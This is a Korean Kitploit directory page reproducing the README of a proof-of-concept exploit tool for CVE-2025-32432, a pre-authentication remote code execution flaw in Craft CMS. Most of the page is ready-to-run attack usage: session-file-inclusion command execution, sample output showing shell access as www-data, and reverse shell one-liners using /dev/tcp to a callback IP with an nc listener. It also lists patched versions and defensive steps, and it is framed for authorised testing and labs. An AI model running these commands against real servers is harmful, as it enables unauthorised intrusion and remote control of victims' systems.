Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-32432-POC — CVE-2025-32432에 대한 단일 대상 개념 증명 도구로, Craft CMS에서 사전 인증 원격 코드 실행 취약점입니다. phpinfo 가젯을 통해 취약점 확인을 수행하고, 세션 파일 포함 체인을 통해 선택적 명령 실행을 수행합니다. | Kitploit
도구/GitHubGitHub/theeomega/cve-2025-32432-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed Teaming
GitHubtheeomega/cve-2025-32432-poc

CVE-2025-32432-POC

CVE-2025-32432에 대한 단일 대상 개념 증명 도구로, Craft CMS에서 사전 인증 원격 코드 실행 취약점입니다. phpinfo 가젯을 통해 취약점 확인을 수행하고, 세션 파일 포함 체인을 통해 선택적 명령 실행을 수행합니다.

저장소 보기
11개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Craft CMS CVE-2025-32432 단일 대상 PoC

승인된 테스트만 허용됩니다. 이 저장소는 통제된 실습 환경, Hack The Box와 같은 CTF 플랫폼, 내부 검증 및 방어적 검증을 위한 것입니다. 귀하가 소유하지 않거나 명시적 테스트 허가를 받지 않은 시스템에 대해 실행하지 마십시오.

개요

이 프로젝트는 CVE-2025-32432에 대한 단일 대상 개념 증명(PoC)을 포함하며, 이는 Craft CMS의 사전 인증 원격 코드 실행 문제입니다.

PoC는 두 단계로 수행됩니다:

  1. 취약점 확인: Craft CMS의 asset transform 생성 엔드포인트를 통해 phpinfo() 가젯을 사용합니다.
  2. 선택적 명령 실행: 2단계 세션 파일 포함 체인을 사용합니다.

이 스크립트는 일부 공개 PoC에서 볼 수 있는 일반적인 오탐(false-negative) 문제를 피하도록 설계되었습니다. 일반 이미지 변환 요청은 404를 반환할 수 있지만, 동일한 엔드포인트와 assetId가 실제 가젯 페이로드가 사용될 때는 여전히 작동합니다.

영향을 받는 버전

공식 Craft CMS 권고 및 공개 권고 데이터베이스에 따르면 영향을 받는 범위는 다음과 같습니다:

Craft CMS 브랜치영향을 받는 버전수정된 버전
3.x< 3.9.153.9.15
4.x< 4.14.154.14.15
5.x< 5.6.175.6.17

Craft CMS 배포를 담당하는 경우 즉시 수정된 릴리스로 업그레이드하십시오.

기술 요약

PoC는 다음 흐름을 따릅니다:

root@kitploit:~
Get CSRF token
      |
      v
Test endpoint + assetId with phpinfo gadget
      |
      v
Confirm vulnerable response contains PHP Version / PHP License
      |
      v
Poison Craft session return URL with PHP payload
      |
      v
Trigger yii\rbac\PhpManager to include the PHP session file
      |
      v
Execute optional command

중요한 구현 세부 사항:

  • 탐색은 일반 변환 요청이 아닌 phpinfo 가젯을 사용합니다.
  • 명령은 공백, 따옴표, 파이프 또는 앰퍼샌드로 인해 쿼리 문자열이 손상되는 것을 방지하기 위해 16진수로 전달됩니다.
  • 테스트되는 기본 PHP 세션 디렉토리는 다음과 같습니다:
    • /var/lib/php/sessions
    • /var/lib/php/session
    • /tmp
  • 리버스 셸 시나리오를 위한 --timeout 옵션이 포함되어 있습니다.

파일

root@kitploit:~
craftcms_cve_2025_32432_public_poc.py   Main single-target PoC
README.md                               Project documentation

요구 사항

  • Python 3.9+
  • requests
  • urllib3

종속성 설치:

root@kitploit:~
python3 -m pip install requests urllib3

사용법

1. 확인 전용 모드

이 모드는 phpinfo 가젯만 사용하여 취약점을 확인합니다.

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py -u http://target.local

예상 성공 출력:

root@kitploit:~
[+] phpinfo triggered
[+] Working endpoint: http://target.local/index.php?p=admin/actions/assets/generate-transform
[+] Working assetId: 0
[+] Vulnerability confirmed by phpinfo gadget
[*] Check-only mode. Use -c 'id' to run a command.

phpinfo 응답은 다음으로 저장됩니다:

root@kitploit:~
phpinfo_success.html

2. 간단한 명령 실행

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py -u http://target.local -c "id"

예시 성공 출력:

root@kitploit:~
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

3. 알려진 엔드포인트 및 asset ID 사용

이미 작동하는 값을 알고 있을 때 사용합니다.

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  -c "id" \
  -a 0 \
  --endpoint "http://target.local/index.php?p=admin/actions/assets/generate-transform" \
  --session-dir /var/lib/php/sessions

4. 사용자 정의 프론트 컨트롤러

일부 대상은 x.php와 같은 사용자 정의 프론트 컨트롤러를 사용할 수 있습니다.

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  --front x.php \
  -c "id"

이것은 다음과 같은 경로를 테스트합니다:

root@kitploit:~
http://target.local/x.php?p=admin/actions/assets/generate-transform

5. 리버스 셸 사용

먼저 리스너를 시작합니다:

root@kitploit:~
rlwrap -cAr nc -lvnp 12345

그런 다음 리버스 셸 명령으로 PoC를 실행합니다:

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  -c "bash -lc 'bash -i >& /dev/tcp/YOUR_VPN_IP/12345 0>&1'" \
  --timeout 0

--timeout 0은 요청 시간 제한을 비활성화합니다. 리버스 셸이 HTTP 요청을 열어두는 경우가 많기 때문에 유용합니다.

분리된 변형:

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  -c "bash -lc 'setsid bash -c \"bash -i >& /dev/tcp/YOUR_VPN_IP/12345 0>&1\" >/dev/null 2>&1 &'" \
  --timeout 0

옵션

| 옵션 | 설명 | 기본값 | |---|---:| | -u, --url | 대상 기본 URL | 필수 | | -c, --cmd | phpinfo 확인 후 실행할 선택적 명령 | 없음 | | --front | 프론트 컨트롤러 파일 이름 | index.php | | -s, --scan-max | phpinfo 가젯으로 테스트할 최대 assetId | 50 | | -a, --asset | 알려진 작동 asset ID | 없음 | | --endpoint | 알려진 작동 generate-transform 엔드포인트 | 없음 | | --session-dir | PHP 세션 디렉토리. 여러 번 제공 가능 | 내장 목록 | | --timeout | 명령 트리거에 대한 요청 시간 제한. 시간 제한 없음은 0 사용 | 20 |

문제 해결

일반 스캔 중 assetId 0 -> HTTP 404

탐색을 위해 일반 변환 요청에 의존하지 마십시오. 일부 대상은 일반 변환 본문에 대해 404를 반환하지만 가젯 페이로드는 여전히 실행합니다.

이 PoC는 phpinfo 가젯 자체를 사용하여 유효한 조합을 발견합니다.

phpinfo는 작동하지만 명령 실행이 실패합니다

세션 디렉토리를 수동으로 지정해 보십시오:

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  -c "id" \
  --session-dir /var/lib/php/sessions

그런 다음 시도:

root@kitploit:~
--session-dir /var/lib/php/session

또는:

root@kitploit:~
--session-dir /tmp

리버스 셸이 연결된 후 빠르게 종료됩니다

다음 방법 중 하나를 사용하십시오:

  1. 요청 시간 제한 비활성화:
root@kitploit:~
--timeout 0
  1. setsid 또는 nohup을 사용하여 분리된 페이로드 사용.

  2. 콜백 IP가 올바른지 확인:

root@kitploit:~
ip -br a | grep tun

리버스 셸 중 읽기 시간 초과

리버스 셸이 성공적으로 연결된 경우 정상일 수 있습니다. 시간 초과를 실패로 간주하기 전에 리스너를 확인하십시오.

명령 출력이 누락됨

먼저 간단한 명령을 시도하십시오:

root@kitploit:~
-c "id"
-c "whoami"
-c "pwd"

간단한 명령이 작동하지만 복잡한 명령이 실패하면 명령을 신중하게 인용하거나 분리된 셸 페이로드를 사용하십시오.

예제 실습 출력

root@kitploit:~
[*] Target: http://orion.htb
[*] Front controller: index.php
[+] CSRF token found via http://orion.htb/index.php?p=admin/dashboard
[*] Testing endpoint: http://orion.htb/index.php?p=admin/actions/assets/generate-transform
    assetId 0 -> HTTP 200
[+] phpinfo triggered
[+] Working endpoint: http://orion.htb/index.php?p=admin/actions/assets/generate-transform
[+] Working assetId: 0
[+] Vulnerability confirmed by phpinfo gadget
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

방어 지침

Craft CMS 인스턴스를 관리하는 경우:

  1. Craft CMS 3.9.15, 4.14.15, 5.6.17 이상으로 업그레이드하십시오.
  2. 웹 루트에서 의심스러운 PHP 파일이나 웹 셸이 있는지 검토하십시오.
  3. PHP 세션 디렉토리와 웹 서버 로그에서 asset transform 경로에 대한 의심스러운 요청이 있는지 검토하십시오.
  4. 악용이 의심되는 경우 .env의 시크릿과 데이터베이스 자격 증명을 교체하십시오.
  5. 가능한 경우 관리 경로에 대한 공개 접근을 제한하십시오.
  6. 의심되는 침해 시점 전후의 서버 파일 시스템 타임스탬프를 검토하십시오.

참고 자료

  • Craft CMS 공식 권고: https://craftcms.com/knowledge-base/craft-cms-cve-2025-32432
  • GitHub Advisory Database: https://github.com/advisories/GHSA-f3gw-9ww9-jmc3
  • NVD 엔트리: https://nvd.nist.gov/vuln/detail/CVE-2025-32432
  • SensePost 기술 분석: https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/

면책 조항

이 프로젝트는 교육, 연구, 실습 및 방어적 검증 목적으로만 제공됩니다. 저자는 오용에 대한 책임을 지지 않습니다. 귀하가 소유하거나 명시적인 서면 허가를 받은 시스템만 테스트하십시오.

도구 다운로드